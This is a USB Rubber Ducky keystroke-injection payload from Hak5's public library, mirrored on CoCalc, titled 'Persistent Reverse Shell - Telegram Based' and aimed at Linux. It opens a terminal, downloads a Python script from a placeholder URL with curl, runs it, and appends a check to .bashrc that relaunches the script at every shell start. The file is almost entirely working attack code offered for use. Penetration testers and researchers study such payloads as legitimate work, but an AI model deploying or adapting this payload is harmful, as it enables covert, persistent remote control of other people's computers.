Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/Persistent_Reverse_Shell-Telegram_Based/payload.txt
2971 views
1
REM ############################################################
2
REM # #
3
REM # Title : Persistent Reverse Shell - Telegram Based #
4
REM # Author : Aleff #
5
REM # Version : 1.0 #
6
REM # Category : Execution #
7
REM # Target : Linux #
8
REM # #
9
REM ############################################################
10
11
REM Requirements:
12
REM - Internet Connection
13
14
REM Here you must put your own file link
15
DEFINE #PYTHON-SCRIPT-LINK https://www.example.com/connection.py
16
17
DELAY 1000
18
CTRL-ALT t
19
DELAY 2000
20
21
STRINGLN_BLOCK
22
curl -o connection.py #PYTHON-SCRIPT-LINK; python3 connection.py; echo "if ! pgrep -f connection.py >/dev/null; then
23
python3 connection.py &
24
fi" >> .bashrc; exit
25
END_STRINGLN
26
27